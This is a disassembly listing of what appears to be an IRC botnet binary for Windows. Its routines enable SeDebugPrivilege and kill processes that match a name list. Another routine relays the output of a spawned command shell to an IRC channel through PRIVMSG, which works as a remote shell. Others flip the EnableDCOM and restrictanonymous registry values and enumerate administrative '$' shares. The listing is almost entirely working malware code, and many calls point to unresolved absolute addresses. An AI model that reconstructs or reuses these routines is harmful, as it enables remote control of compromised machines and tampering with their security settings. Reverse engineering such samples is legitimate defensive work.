		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 2710BD7h
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710BD7h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26907A1h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2710BD7h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		call	near ptr 2670858h
		nop


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 69DEE890h, 0E3EB0227h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 26903FCh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		call	near ptr 28608C2h
		nop
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		nop
		call	near ptr 28603F6h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 26903FCh
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670C08h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2690448h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		call	near ptr 2690DCCh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
